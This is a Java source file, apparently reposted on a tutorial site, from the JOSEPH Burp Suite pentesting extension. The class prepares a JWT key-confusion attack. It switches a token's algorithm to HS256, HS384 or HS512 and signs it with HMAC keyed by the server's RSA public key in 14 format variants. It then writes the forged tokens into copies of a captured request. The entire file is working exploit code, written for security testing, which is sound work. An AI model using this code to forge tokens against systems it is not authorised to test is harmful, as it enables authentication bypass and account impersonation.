eu.dety.burp.joseph.attacks.key_confusion.KeyConfusionInfo.java Source code

Java tutorial

Introduction

Here is the source code for eu.dety.burp.joseph.attacks.key_confusion.KeyConfusionInfo.java

Source

/**
 * JOSEPH - JavaScript Object Signing and Encryption Pentesting Helper
 * Copyright (C) 2016 Dennis Detering
 * <p>
 * This program is free software; you can redistribute it and/or modify it under
 * the terms of the GNU General Public License as published by the Free Software
 * Foundation; either version 2 of the License, or (at your option) any later
 * version.
 * <p>
 * This program is distributed in the hope that it will be useful, but WITHOUT
 * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
 * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
 * details.
 * <p>
 * You should have received a copy of the GNU General Public License along with
 * this program; if not, write to the Free Software Foundation, Inc., 51
 * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
 */
package eu.dety.burp.joseph.attacks.key_confusion;

import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import eu.dety.burp.joseph.attacks.AttackPreparationFailedException;
import eu.dety.burp.joseph.attacks.IAttackInfo;
import eu.dety.burp.joseph.utilities.*;
import org.apache.commons.codec.binary.Base64;
import org.json.simple.parser.JSONParser;

import javax.swing.*;
import java.awt.*;
import java.io.UnsupportedEncodingException;
import java.security.PublicKey;
import java.util.*;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

/**
 * Key Confusion Attack Info
 * <p>
 * Class holding meta data for the Key Confusion attack and for preparing all necessary parameter for the actual attack.
 * 
 * @author Dennis Detering
 * @version 1.0
 */
public class KeyConfusionInfo implements IAttackInfo {
    private static final Logger loggerInstance = Logger.getInstance();
    private static final ResourceBundle bundle = ResourceBundle.getBundle("JOSEPH");

    private IExtensionHelpers helpers;
    private IHttpRequestResponse requestResponse;
    private JoseParameter parameter;

    // Unique identifier for the attack class
    private static final String id = "key_confusion";

    // Full name of the attack
    private static final String name = "Key Confusion";

    // Attack description
    private static final String description = "<html>The <em>Key Confusion</em> attack exploits a vulnerability where a "
            + "<em>public key</em> is mistakenly used as <em>MAC secret</em>.<br/>"
            + "Such a vulnerability occurs when the endpoint expects a RSA signed token and does not correctly check the actually used or allowed algorithm.</html>";

    // Array of algorithms to test
    private static final String[] algorithms = { "HS256", "HS384", "HS512" };

    // Hashmap of public key variation to test
    private HashMap<PayloadType, String> publicKeyVariations = new HashMap<>();

    // Amount of requests needed
    private int amountRequests = 0;

    // Types of payload variation
    enum PayloadType {
        // Derived from PEM input
        ORIGINAL, ORIGINAL_NO_HEADER_FOOTER, ORIGINAL_NO_LF, ORIGINAL_NO_HEADER_FOOTER_LF, ORIGINAL_ADDITIONAL_LF,

        PKCS1, PKCS1_NO_HEADER_FOOTER, PKCS1_NO_LF, PKCS1_NO_HEADER_FOOTER_LF,

        // Derived from JWK input
        PKCS8, PKCS8_WITH_HEADER_FOOTER, PKCS8_WITH_LF, PKCS8_WITH_HEADER_FOOTER_LF, PKCS8_WITH_HEADER_FOOTER_LF_ENDING_LF,
    }

    // Hashmap of available payloads with a verbose name (including the PayloadType)
    private static final HashMap<String, PayloadType> payloads = new HashMap<>();
    static {
        for (PayloadType payload : PayloadType.values()) {
            payloads.put(String.format("Public key transformation %02d   (0x%02X)", payload.ordinal(),
                    payload.ordinal()), payload);
        }
    }

    // List of prepared requests with payload info
    private List<KeyConfusionAttackRequest> requests = new ArrayList<>();

    private JComboBox<String> publicKeySelection;
    private JTextArea publicKey;

    public KeyConfusionInfo(IBurpExtenderCallbacks callbacks) {
        this.helpers = callbacks.getHelpers();
    }

    @Override
    public KeyConfusion prepareAttack(IBurpExtenderCallbacks callbacks, IHttpRequestResponse requestResponse,
            IRequestInfo requestInfo, JoseParameter parameter) throws AttackPreparationFailedException {
        this.requestResponse = requestResponse;
        this.parameter = parameter;

        this.publicKeyVariations.clear();
        this.requests.clear();

        String publicKeyValue = publicKey.getText();

        // Throw error if public key value is empty
        if (publicKeyValue.isEmpty()) {
            throw new AttackPreparationFailedException(bundle.getString("PROVIDE_PUBKEY"));
        }

        // Parse public key according to selected format
        int publicKeyFormat = publicKeySelection.getSelectedIndex();

        switch (publicKeyFormat) {
        // JWK (JSON)
        case 1:
            // TODO: Refactor to test every key at once? Requires change of HashMap key

            loggerInstance.log(getClass(), "Key format is JWK:  " + publicKeyValue, Logger.LogLevel.DEBUG);

            HashMap<String, PublicKey> publicKeys;
            PublicKey selectedPublicKey;

            try {
                Object publickKeyValueJson = new JSONParser().parse(publicKeyValue);

                publicKeys = Converter.getRsaPublicKeysByJwkWithId(publickKeyValueJson);
            } catch (Exception e) {
                loggerInstance.log(getClass(), "Error in prepareAttack (JWK):  " + e.getMessage(),
                        Logger.LogLevel.ERROR);
                throw new AttackPreparationFailedException(bundle.getString("NOT_VALID_JWK"));
            }

            switch (publicKeys.size()) {
            // No suitable JWK in JWK Set found
            case 0:
                loggerInstance.log(getClass(), "Error in prepareAttack (JWK): No suitable JWK",
                        Logger.LogLevel.ERROR);
                throw new AttackPreparationFailedException(bundle.getString("NO_SUITABLE_JWK"));

                // Exactly one suitable JWK found
            case 1:
                selectedPublicKey = publicKeys.entrySet().iterator().next().getValue();
                break;

            // More than one suitable JWK found. Provide dialog to select one.
            default:
                selectedPublicKey = Converter.getRsaPublicKeyByJwkSelectionPanel(publicKeys);
            }

            try {
                loggerInstance.log(getClass(),
                        "Encoded PubKey: " + Base64.encodeBase64String(selectedPublicKey.getEncoded())
                                + "\nFormat: " + selectedPublicKey.getFormat(),
                        Logger.LogLevel.DEBUG);

                // PKCS#8 / X.509
                publicKeyVariations.put(PayloadType.PKCS8,
                        transformKeyByPayload(PayloadType.PKCS8, selectedPublicKey));

                // With header/footer
                publicKeyVariations.put(PayloadType.PKCS8_WITH_HEADER_FOOTER,
                        transformKeyByPayload(PayloadType.PKCS8_WITH_HEADER_FOOTER, selectedPublicKey));

                // With line feeds
                publicKeyVariations.put(PayloadType.PKCS8_WITH_LF,
                        transformKeyByPayload(PayloadType.PKCS8_WITH_LF, selectedPublicKey));

                // With line feeds and header/footer
                publicKeyVariations.put(PayloadType.PKCS8_WITH_HEADER_FOOTER_LF,
                        transformKeyByPayload(PayloadType.PKCS8_WITH_HEADER_FOOTER_LF, selectedPublicKey));

                // With line feeds and header/footer and additional line feed at end
                publicKeyVariations.put(PayloadType.PKCS8_WITH_HEADER_FOOTER_LF_ENDING_LF, transformKeyByPayload(
                        PayloadType.PKCS8_WITH_HEADER_FOOTER_LF_ENDING_LF, selectedPublicKey));

            } catch (Exception e) {
                throw new AttackPreparationFailedException(bundle.getString("NOT_VALID_JWK"));
            }

            break;
        // PEM (String)
        default:
            loggerInstance.log(getClass(), "Key format is PEM:  " + publicKeyValue, Logger.LogLevel.DEBUG);

            // Simple check if String has valid format
            if (!publicKeyValue.trim().startsWith("-----BEGIN") && !publicKeyValue.trim().startsWith("MI")) {
                throw new AttackPreparationFailedException(bundle.getString("NOT_VALID_PEM"));
            }

            try {
                // No modification
                publicKeyVariations.put(PayloadType.ORIGINAL, publicKeyValue);

                // Without header/footer
                publicKeyVariations.put(PayloadType.ORIGINAL_NO_HEADER_FOOTER,
                        transformKeyByPayload(PayloadType.ORIGINAL_NO_HEADER_FOOTER, publicKeyValue));

                // Without line feeds/carriage returns
                publicKeyVariations.put(PayloadType.ORIGINAL_NO_LF,
                        transformKeyByPayload(PayloadType.ORIGINAL_NO_LF, publicKeyValue));

                // Without header/footer and line feeds/carriage returns
                publicKeyVariations.put(PayloadType.ORIGINAL_NO_HEADER_FOOTER_LF,
                        transformKeyByPayload(PayloadType.ORIGINAL_NO_HEADER_FOOTER_LF, publicKeyValue));

                publicKeyVariations.put(PayloadType.ORIGINAL_ADDITIONAL_LF,
                        transformKeyByPayload(PayloadType.ORIGINAL_ADDITIONAL_LF, publicKeyValue));

                // PKCS#1, easy but hacky transformation
                publicKeyVariations.put(PayloadType.PKCS1,
                        transformKeyByPayload(PayloadType.PKCS1, publicKeyValue));

                // PKCS#1 without header/footer
                publicKeyVariations.put(PayloadType.PKCS1_NO_HEADER_FOOTER,
                        transformKeyByPayload(PayloadType.PKCS1_NO_HEADER_FOOTER, publicKeyValue));

                // PKCS#1 without line feeds/carriage returns
                publicKeyVariations.put(PayloadType.PKCS1_NO_LF,
                        transformKeyByPayload(PayloadType.PKCS1_NO_LF, publicKeyValue));

                // PKCS#1 without header/footer and line feeds/carriage
                // returns
                publicKeyVariations.put(PayloadType.PKCS1_NO_HEADER_FOOTER_LF,
                        transformKeyByPayload(PayloadType.PKCS1_NO_HEADER_FOOTER_LF, publicKeyValue));

            } catch (Exception e) {
                throw new AttackPreparationFailedException(bundle.getString("NOT_VALID_PEM"));
            }

            break;
        }

        for (Map.Entry<PayloadType, String> publicKey : publicKeyVariations.entrySet()) {
            for (String algorithm : algorithms) {
                try {
                    // Change the "alg" header value for each of the algorithms
                    // entries
                    String[] components = Decoder.getComponents(this.parameter.getJoseValue());
                    String decodedHeader = Decoder.getDecoded(components[0]);
                    String decodedHeaderReplacedAlgorithm = decodedHeader.replaceFirst("\"alg\":\"(.+?)\"",
                            "\"alg\":\"" + algorithm + "\"");
                    String encodedHeaderReplacedAlgorithm = Decoder.getEncoded(decodedHeaderReplacedAlgorithm);

                    String macAlg = Crypto.getMacAlgorithmByJoseAlgorithm(algorithm, "HmacSHA256");

                    // Generate signature
                    String newSignature = Decoder
                            .getEncoded(Crypto.generateMac(macAlg, helpers.stringToBytes(publicKey.getValue()),
                                    helpers.stringToBytes(Decoder.concatComponents(
                                            new String[] { encodedHeaderReplacedAlgorithm, components[1] }))));

                    // Build new JWS String and update parameter
                    String[] newComponents = { encodedHeaderReplacedAlgorithm, components[1], newSignature };
                    String newComponentsConcatenated = Decoder.concatComponents(newComponents);

                    byte[] tmpRequest = JoseParameter.updateRequest(this.requestResponse.getRequest(),
                            this.parameter, helpers, newComponentsConcatenated);
                    requests.add(new KeyConfusionAttackRequest(tmpRequest, publicKey.getKey().ordinal(), algorithm,
                            publicKey.getValue(), publicKey.getValue().length()));
                } catch (Exception e) {
                    throw new AttackPreparationFailedException(
                            "Attack preparation failed. Message: " + e.getMessage());
                }
            }
        }

        this.amountRequests = requests.size();
        return new KeyConfusion(callbacks, this);
    }

    @Override
    public String getId() {
        return id;
    }

    @Override
    public String getName() {
        return name;
    }

    @Override
    public String getDescription() {
        return description;
    }

    @Override
    public int getAmountRequests() {
        return amountRequests;
    }

    @Override
    public boolean getExtraUI(JPanel extraPanel, GridBagConstraints constraints) {
        // Create combobox and textarea to add public key (in different formats)
        JLabel publicKeyLabel = new JLabel(bundle.getString("PUBKEY_FORMAT"));
        publicKeySelection = new JComboBox<>();
        DefaultComboBoxModel<String> publicKeySelectionListModel = new DefaultComboBoxModel<>();
        publicKey = new JTextArea(10, 50);
        publicKey.setLineWrap(true);

        publicKeySelectionListModel.addElement("PEM (String)");
        publicKeySelectionListModel.addElement("JWK (JSON)");

        publicKeySelection.setModel(publicKeySelectionListModel);

        constraints.gridy = 0;
        extraPanel.add(publicKeyLabel, constraints);

        constraints.gridy = 1;
        extraPanel.add(publicKeySelection, constraints);

        constraints.gridy = 2;
        JScrollPane jScrollPane = new javax.swing.JScrollPane();
        jScrollPane.setViewportView(publicKey);
        extraPanel.add(jScrollPane, constraints);

        return true;
    }

    @Override
    public boolean isSuitable(JoseParameter.JoseType type, String algorithm) {
        return (type == JoseParameter.JoseType.JWS);
    }

    @Override
    public IHttpRequestResponse getRequestResponse() {
        return this.requestResponse;
    }

    @Override
    public List<KeyConfusionAttackRequest> getRequests() {
        return this.requests;
    }

    @Override
    public HashMap<String, PayloadType> getPayloadList() {
        return payloads;
    }

    @Override
    public HashMap<String, String> updateValuesByPayload(Enum payloadTypeId, String header, String payload,
            String signature) throws AttackPreparationFailedException {
        String publicKeyValue = publicKey.getText();
        int publicKeyFormat = publicKeySelection.getSelectedIndex();

        String modifiedKey;

        switch (publicKeyFormat) {
        // JWK (JSON)
        case 1:
            loggerInstance.log(getClass(), "Key format is JWK:  " + publicKeyValue, Logger.LogLevel.DEBUG);

            HashMap<String, PublicKey> publicKeys;
            PublicKey selectedPublicKey;

            try {
                Object publickKeyValueJson = new JSONParser().parse(publicKeyValue);

                publicKeys = Converter.getRsaPublicKeysByJwkWithId(publickKeyValueJson);
            } catch (Exception e) {
                loggerInstance.log(getClass(), "Error in updateValuesByPayload (JWK):  " + e.getMessage(),
                        Logger.LogLevel.ERROR);
                throw new AttackPreparationFailedException(bundle.getString("NOT_VALID_JWK"));
            }

            switch (publicKeys.size()) {
            // No suitable JWK in JWK Set found
            case 0:
                loggerInstance.log(getClass(), "Error in updateValuesByPayload (JWK): No suitable JWK",
                        Logger.LogLevel.ERROR);
                throw new AttackPreparationFailedException(bundle.getString("NO_SUITABLE_JWK"));

                // Exactly one suitable JWK found
            case 1:
                selectedPublicKey = publicKeys.entrySet().iterator().next().getValue();
                break;

            // More than one suitable JWK found. Provide dialog to select one.
            default:
                selectedPublicKey = Converter.getRsaPublicKeyByJwkSelectionPanel(publicKeys);
            }

            try {
                modifiedKey = transformKeyByPayload(payloadTypeId, selectedPublicKey);
            } catch (Exception e) {
                loggerInstance.log(getClass(), "Error in updateValuesByPayload (JWK):  " + e.getMessage(),
                        Logger.LogLevel.ERROR);
                throw new AttackPreparationFailedException(bundle.getString("ATTACK_PREPARATION_FAILED"));
            }

            break;
        // PEM (String)
        default:
            loggerInstance.log(getClass(), "Key format is PEM:  " + publicKeyValue, Logger.LogLevel.DEBUG);

            // Simple check if String has valid format
            if (!publicKeyValue.trim().startsWith("-----BEGIN") && !publicKeyValue.trim().startsWith("MI")) {
                throw new AttackPreparationFailedException(bundle.getString("NOT_VALID_PEM"));
            }

            try {
                modifiedKey = transformKeyByPayload(payloadTypeId, publicKeyValue);

            } catch (Exception e) {
                loggerInstance.log(getClass(), "Error in updateValuesByPayload (PEM):  " + e.getMessage(),
                        Logger.LogLevel.ERROR);
                throw new AttackPreparationFailedException(bundle.getString("NOT_VALID_PEM"));
            }

        }

        Pattern jwsPattern = Pattern.compile("\"alg\":\"(.+?)\"", Pattern.CASE_INSENSITIVE);
        Matcher jwsMatcher = jwsPattern.matcher(header);

        String algorithm = (jwsMatcher.find()) ? jwsMatcher.group(1) : "HS256";

        String macAlg = Crypto.getMacAlgorithmByJoseAlgorithm(algorithm, "HmacSHA256");

        if (!Crypto.JWS_HMAC_ALGS.contains(algorithm))
            algorithm = "HS256";

        header = header.replaceFirst("\"alg\":\"(.+?)\"", "\"alg\":\"" + algorithm + "\"");

        HashMap<String, String> result = new HashMap<>();
        result.put("header", header);
        result.put("payload", payload);
        result.put(
                "signature", Decoder
                        .getEncoded(
                                Crypto.generateMac(macAlg, helpers.stringToBytes(modifiedKey),
                                        helpers.stringToBytes(Decoder.concatComponents(new String[] {
                                                Decoder.base64UrlEncode(helpers.stringToBytes(header)),
                                                Decoder.base64UrlEncode(helpers.stringToBytes(payload)) })))));

        if (publicKeyValue.isEmpty()) {
            return result;
        }

        return result;
    }

    public String transformKeyByPayload(Enum payloadTypeId, String key) {
        String modifiedKey;

        switch ((PayloadType) payloadTypeId) {
        case ORIGINAL_NO_HEADER_FOOTER:
            modifiedKey = key.replace("-----BEGIN PUBLIC KEY-----\n", "")
                    .replaceAll("-----END PUBLIC KEY-----\\n?", "").replace("-----BEGIN RSA PUBLIC KEY-----\n", "")
                    .replaceAll("-----END RSA PUBLIC KEY-----\\n?", "");
            break;

        case ORIGINAL_NO_LF:
            modifiedKey = key.replaceAll("\\r\\n|\\r|\\n", "");
            break;

        case ORIGINAL_NO_HEADER_FOOTER_LF:
            modifiedKey = transformKeyByPayload(PayloadType.ORIGINAL_NO_LF,
                    transformKeyByPayload(PayloadType.ORIGINAL_NO_HEADER_FOOTER, key));
            break;

        case ORIGINAL_ADDITIONAL_LF:
            modifiedKey = key + "\n";
            break;

        case PKCS1:
            modifiedKey = key.substring(32);
            break;

        case PKCS1_NO_HEADER_FOOTER:
            modifiedKey = transformKeyByPayload(PayloadType.PKCS1,
                    transformKeyByPayload(PayloadType.ORIGINAL_NO_HEADER_FOOTER, key));
            break;

        case PKCS1_NO_LF:
            modifiedKey = transformKeyByPayload(PayloadType.PKCS1,
                    transformKeyByPayload(PayloadType.ORIGINAL_NO_LF, key));
            break;

        case PKCS1_NO_HEADER_FOOTER_LF:
            modifiedKey = transformKeyByPayload(PayloadType.PKCS1,
                    transformKeyByPayload(PayloadType.ORIGINAL_NO_HEADER_FOOTER_LF, key));
            break;

        case ORIGINAL:
        default:
            modifiedKey = key;
            break;

        }

        return modifiedKey;
    }

    String transformKeyByPayload(Enum payloadTypeId, PublicKey key) throws UnsupportedEncodingException {
        Base64 base64Pem = new Base64(64, "\n".getBytes("UTF-8"));

        String modifiedKey;

        switch ((PayloadType) payloadTypeId) {

        case PKCS8_WITH_HEADER_FOOTER:
            modifiedKey = "-----BEGIN PUBLIC KEY-----" + Base64.encodeBase64String(key.getEncoded())
                    + "-----END PUBLIC KEY-----";
            break;

        case PKCS8_WITH_LF:
            modifiedKey = base64Pem.encodeToString(key.getEncoded());
            break;

        case PKCS8_WITH_HEADER_FOOTER_LF:
            modifiedKey = "-----BEGIN PUBLIC KEY-----\n" + base64Pem.encodeToString(key.getEncoded())
                    + "-----END PUBLIC KEY-----";
            break;

        case PKCS8_WITH_HEADER_FOOTER_LF_ENDING_LF:
            modifiedKey = transformKeyByPayload(PayloadType.PKCS8_WITH_HEADER_FOOTER_LF, key) + "\n";
            break;

        case PKCS8:
        default:
            modifiedKey = Base64.encodeBase64String(key.getEncoded());
            break;
        }

        return modifiedKey;
    }

}